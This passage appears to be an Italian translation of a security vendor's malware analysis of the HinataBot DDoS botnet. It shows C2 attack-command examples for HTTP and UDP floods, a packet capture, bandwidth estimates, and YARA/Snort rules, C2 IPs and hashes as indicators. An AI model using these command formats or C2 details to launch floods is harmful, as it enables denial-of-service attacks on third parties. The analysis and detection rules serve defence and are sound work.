Esaminiamo alcune osservazioni importanti delle intestazioni HTTP acquisite durante gli eventi di attacco simulato. Ci sono diversi valori abbastanza ovvi qui per il fingerprinting, sia nei campi statici che randomizzati. Gli addetti alla sicurezza dovrebbero esaminare questo campione di traffico, ma per paura di aiutare l'autore a migliorare effettivamente le funzionalità di attacco, esitiamo a evidenziare esattamente perché questo traffico è probabilmente facile da individuare e bloccare per gli addetti alla sicurezza. Senza fornire troppo aiuto all'autore del malware, possiamo affermare che gran parte del payload è piuttosto statico, in termini di dimensioni, ordine e valore. Alcuni campi sono randomizzati: questi campi includono le intestazioni User-Agent (da un elenco di 10 user-agent statici), Keep-Alive e Cookie. Gli addetti alla sicurezza dovrebbero anche esaminare attentamente le intestazioni Host e Riferimento nel campione di traffico della Figura 31. Vale la pena notare che se il comando di attacco non specifica una porta di destinazione nella direttiva di destinazione, il valore predefinito sarà TCP/80 o TCP/443 e la porta non sarà inclusa in nessuna delle due intestazioni.
API_CONNECTION_ATTACK: 0 https://user:pass@127.0.0.1/ouch 120
Figura 32: Struttura dei comandi di attacco per un attacco http_flood più configurato
Vale anche la pena notare che, dal momento che viene utilizzato Go net.http.Client , la configurazione di questo tipo di attacco viene eseguita tramite la direttiva target e supporterà tutte le azioni della libreria (completa e molto capace). Ciò include HTTPS, reindirizzamento successivo, risoluzione del dominio, intestazioni di autenticazione HTTP, ecc. Nel comando di attacco nella Figura 32, il passaggio a https:// fa sì che la libreria integrata utilizzi il TLS e la porta di destinazione 443; inoltre, poiché abbiamo incluso user:pass@ nella direttiva di destinazione, il traffico includerà anche un'intestazione di autorizzazione: Basic dXNlcjpwYXNz .
Al momento della stesura di questo documento, sembra che il metodo delle richieste di attacco sia codificato e quindi limitato alle richieste HTTP GET... per ora.
Tipo di attacco 1: udp_flood
La struttura del comando di attacco udp_flood richiede tutti i campi delineati in precedenza, anche se l'opzione fornita non esiste (Figura 33). Nell'analisi e nei test, siamo stati in grado di identificare un singolo campo di opzione, che viene utilizzato per controllare la porta di destinazione. Se non viene passata alcuna opzione, il binario non riesce ad analizzare il comando di attacco; in alcuni casi, i valori passati tramite questo campo fanno addirittura arrestare il bot.
API_CONNECTION_ATTACK: 1 127.127.127.127 120 1531337
Figura 33: Struttura del comando di attacco per un attacco udp_flood
Questo comando di attacco ha un aspetto leggermente diverso dalla variante http_flood , principalmente a causa del valore UDP_OPTIONS passato (1531337) nel parametro finale. Questo parametro controlla la porta di destinazione a cui verranno inviati i pacchetti UDP. Il valore è in realtà composto da tre parti, la prima parte è il tipo di parametro (1), la seconda è la lunghezza (5) del valore e la terza è il valore stesso (31337).
Sembra che questo quarto parametro sia richiesto per l'analisi dei comandi, ma il valore può essere scartato e se non viene fornito alcun valore di porta qui, il file binario verrà impostato automaticamente su UDP/80 come porta di destinazione dell'attacco. Inizialmente, si presumeva che, poiché questi dati vengono trasmessi in questo modo, avremmo trovato altri parametri di configurazione aggiuntivi per 1-9, ma sembra che solo il parametro della porta (1) abbia un effetto sul traffico di attacco in uscita dal bot.
Lo screenshot nella Figura 34 mostra la configurazione del socket udp_flood , che utilizza la libreria net di Go tramite net.Dial per creare il socket UDP. Quindi crea 512 processi di lavoro, che condividono il socket, ciascuno in esecuzione in un ciclo che trasmette i dati sul socket finché il timer della durata non invia loro un comando kill tramite un canale condiviso. I pacchetti UDP (Figura 35) in uscita dal bot sono molto grandi (65.549 byte per pacchetto in totale) ed è probabile che arrivino frammentati alle vittime tramite Internet . Questa dimensione è codificata all'interno del file binario e non è sotto il controllo dell'autore degli attacchi in base all'attacco.
15:59:00.451351 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.451679 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.458964 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.459266 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.460467 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.461456 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.461807 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.462932 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.463561 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.463786 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.465147 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.465835 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.466018 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.466740 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.467265 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.467407 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.468113 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.468737 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.469076 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.470517 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471034 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471214 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471957 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.472804 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.472940 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length
Figura 35: Acquisizione pacchetti di pacchetti di attacco UDP
I 65.507 byte racchiusi nel segmento di dati UDP sono tutti byte Null (Figura 36). L'intestazione ID IP incrementa in modo sequenziale durante l'attacco e, sebbene la porta di origine sia temporanea, rimane statica durante la durata del flood. Si tratta probabilmente di un effetto collaterale della gestione di net.Dial del socket UDP nell'intero pool di lavoro dell'autore degli attacchi. Un'altra cosa da notare sono i checksum non riusciti sui dati UDP.
Quale è stata la loro efficacia?
Per confrontare questi due metodi di attacco, abbiamo eseguito due attacchi di 10 secondi, uno per ciascun metodo, estraendo solo i flussi di attacco non in rete in acquisizioni pacchetti. Siamo quindi stati in grado di vedere la dimensione complessiva del traffico generato per tipo di attacco.
L' http_flood ha generato 3,4 MB di dati di acquisizione pacchetti e inviato 20.430 richieste HTTP. Le dimensioni delle richieste variavano da 484 a 589 byte per richiesta, con dimensioni che variavano principalmente a causa della randomizzazione dei dati dell'intestazione User-Agent e Cookie. Queste lunghezze dei pacchetti di richiesta saranno influenzate anche dall'inclusione di intestazioni aggiuntive (ad esempio, dati di base di autorizzazione), percorso URL, padding del parametro GET e inclusione di TLS, quindi prendeteli con le pinze.
Vale la pena sottolineare che anche il server preso di mira durante questo evento di attacco era molto semplice e con un thread singolo; è possibile che, se l'attacco fosse stato diretto a un server in grado di rispondere più rapidamente al pool di lavoro, questi numeri sarebbero potuti aumentare.
L' udp_flood ha generato 6.733 pacchetti per un totale di 421 MB di dati di acquisizione pacchetti in rete. Non c'è molto altro di interessante in questo attacco: è di natura volumetrica e sembra essere efficace nell'aumentare il volume. Come affermato in precedenza, a causa delle dimensioni dei pacchetti generati da questo attacco, le vittime vedranno probabilmente un elevato numero di frammenti durante gli eventi di attacco nel mondo reale.
Utilizzando i nostri set di campioni di 10 secondi e una dimensione teorizzata della botnet, possiamo iniziare a stimare il dimensionamento dell'attacco. Se la botnet contenesse solo 1.000 nodi, il conseguente flusso UDP peserebbe circa 336 Gbps al secondo. Con 10.000 nodi (circa il 6,9% delle dimensioni di Mirai al suo picco), il flusso UDP peserebbe oltre 3,3 Tbps. Il flusso HTTP a 1.000 nodi genererebbe circa 2,7 Gbps e più di 2 Mrps. Con 10.000 nodi, questi numeri salgono a 27 Gbps generando 20,4 Mrps.
Queste capacità teorizzate ovviamente non tengono conto dei diversi tipi di server che parteciperebbero, delle rispettive larghezza di banda e funzionalità hardware, ecc., ma forniscono un quadro. Speriamo che gli autori di HinataBot passino a nuovi hobby prima di dover affrontare la loro botnet su una qualsiasi scala reale.
Conclusione
HinataBot è l'ultimo esempio dell'evoluzione del panorama delle minacce, in particolare in relazione alle botnet. Gli autori di malware continuano a innovare l'uso dei metodi di implementazione, dei linguaggi e dei metodi di distribuzione. Facendo affidamento su tecniche precedenti e collaudate, come quelle utilizzate all'interno di Mirai, gli autori degli attacchi possono concentrarsi maggiormente sulla cura delle parti che eludono il rilevamento, si evolvono continuamente e aggiungono nuove funzionalità.
Continuando a esplorare e analizzare le minacce in evoluzione come HinataBot, possiamo comprendere meglio le tattiche, le tecniche e le procedure degli autori degli attacchi per sviluppare sistemi di difesa più solidi contro di loro. La famiglia HinataBot utilizza vecchie vulnerabilità e sottrae le password deboli tramite attacchi di forza bruta per la distribuzione. Questo dimostra ulteriormente che password complesse e policy di applicazione delle patch sono più cruciali che mai. Gli autori di attacchi sono sempre alla ricerca di obiettivi più vulnerabili con un elevato ritorno sull'investimento, quindi rendere più difficile il successo degli attacchi aiuta in modo significativo a proteggere l'ambiente e Internet.
HinataBot è probabilmente solo all'inizio. Il SIRT di Akamai continuerà a monitorare la sua evoluzione nel tempo e riferirà nuovi risultati, se pertinenti.
IOC
Regole YARA
Binari HinataBot
rule detect_hinatabot_strings {
Meta:
description = "This rule detects HinataBot binaries."
confidence = "high"
strings:
$s1 = "HINATA_START_NICE"
$s2 = "API_CONNECT_BOT"
$s3 = "Connection to CNC is OK!"
$s4 = "API_CONNECTION_SIGNAL_CHECK"
$s5 = "API_CONNECTION_SIGNAL_OK"
$s6 = "API_CONNECTION_ATTACK"
$s7 = "Hinata already running"
$s8 = "API_CONNECTION_KILL_ALL"
$s9 = "hinata_exists"
$s10 = "hinata_loaded"
$s11 = "HINATA_"
condition:
3 of ($s*)
}
Script di infezione HinataBot
rule detect_malicious_files {
meta:
description = "This rule detects infector scripts attempting to pull down HinataBot binaries."
confidence = "high"
strings:
$file_names = /hinata-[a-z\.0-9]+/
condition:
all of them
}
Regole Snort
http_flood
alert tcp any any -> any any (msg:"HTTP Request with HinataBot’s static header values"; flow:established, to_server; sid:1000001; rev:1; content:"Accept-Charset|3a| ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15|0d 0a|"; content:"Accept-Encoding|3a| *,identity,gzip,deflate|0d 0a|"; content:"Content-Type|3a| multipart/form-data, application/x-url-encoded|0d 0a|"; http_method;)
Comunicazioni dal server C2
alert tcp any any -> any 1420 (msg:"HinataBot API inbound connection detected."; sid:1000002; rev:1; content:"API_CONNECTION_SIGNAL_CHECK"; )
Comunicazioni al server C2
alert tcp any any -> any 1420 (msg:"HinataBot API outbound connection detected."; sid:1000003; rev:1; content:"API_CONNECTION_SIGNAL_OK"; content:"API_CONNECTION_ATTACK";)
IP
77.73.131.247
156.236.16.237
185.112.83.254
Porte
61420
4120
CVE
CVE-2017-17215
CVE-2014-8361
Nomi file
tftp.sh
wget.sh
hinata-linux.amd64
hinata-windows-arm5
hinata-plan9-arm5
hinata-openbsd-arm5
hinata-netbsd-arm5
hinata-linux-arm5
hinata-freebsd-arm5
hinata-windows-arm7
hinata-windows-arm64.exe
hinata-windows-arm6
hinata-windows-arm
hinata-windows-amd64.exe
hinata-windows-386.exe
hinata-solaris-amd64
hinata-plan9-arm7
hinata-plan9-arm6
hinata-plan9-arm
hinata-plan9-amd64
hinata-plan9-386
hinata-openbsd-mips64
hinata-openbsd-arm7
hinata-openbsd-arm64
hinata-openbsd-arm6
hinata-openbsd-arm
hinata-openbsd-amd64
hinata-openbsd-386
hinata-netbsd-arm7
hinata-netbsd-arm64
hinata-netbsd-arm6
hinata-netbsd-arm
hinata-netbsd-amd64
hinata-netbsd-386
hinata-linux-s390x
hinata-linux-riscv64
hinata-linux-ppc64le
hinata-linux-ppc64
hinata-linux-mipsle
hinata-linux-mips64le
hinata-linux-mips64
hinata-linux-mips
hinata-linux-arm7
hinata-linux-arm64
hinata-linux-arm6
hinata-linux-arm
hinata-linux-amd64
hinata-linux-386
hinata-js-wasm
hinata-illumos-amd64
hinata-freebsd-arm7
hinata-freebsd-arm64
hinata-freebsd-arm6
hinata-freebsd-arm
hinata-freebsd-amd64
hinata-freebsd-386
hinata-dragonfly-amd64
hinata-darwin-arm64
hinata-darwin-amd64
hinata-android-arm64
hinata-aix-ppc64
Hash recenti
01422e34b2114c68cdb6ce685cd2e5673bbe5652259a0c4b862d5de2824a9375
1b958fd718f1419700c53fed10807e873e8399c354877b0a3dfceac7a8581456
8a84dc2a9a06b1fae0dd16765509f88f6f54559c36d4353fd040d02d4563f703
4aba67fdd694219ff0dff07ebd444ed154edacc00c3a61f9b661eabe811a0446
71154ad6bd1a8a79fc674c793bb82b8e7d1371eca0f909c6e4a98ef8e7f5d1da
c6a7e25290677cc7b9331343166b140f2c320764a815b241747e6913b1a386d9
92adfbe6aae06d7c99469aeb6551db8eee964b589f2b8774e29d987cfbd0e0d6
8eda08ce362c09b5f45772467f94d5370068c1798f78c5316f15647ac898c621
ff7638c0c893c021c3a059a21a71600249881afd84dc0d751d99db1c8edd3cac
a3fac6fea9201c3c3eaae47bd95e0be93e91298e48df75540958834f9e75ac4d
9875bb9dd6d159a3b327de80e151ef7f3831c0d6833ae781490d68e426b73680
6ec35ef48ffdf9a92aa8845c336b327c280e1f20d7130ba0856540aed3233bbc
C0aa34dd8dbf654d5230d4ef1db61f9befc89a0ea16cb7757edbf8a8090c9146
5643bf01e113de246575a9ec39ea12a85f9babb6ac069132ad8d1a7bfa56ed1b
845134ee7335f07b23e081f024cad5cbfc9ef453d6e2adc7970d6543292e5bcc
995681f388f5e0a405c282ae9ce22dc41f2249f0f5208254e1eec6e302d7ad7d
07326cce5325eabbe1caa2b3f8a4ab78e7913b65703c0afc3bab808441c30688
61181b4b7b7040ce4ab9c489a2b857f5a7fe8407c422327fff798f3b55e0cbe3
75c050580725279a6592eecc2b02b6fa78f5469c2f08fb1d0e2fe616beb8bf0d
E3427838132b6161f10e77d0beca1beac90c63a8ccc4aabd523041aec25aab67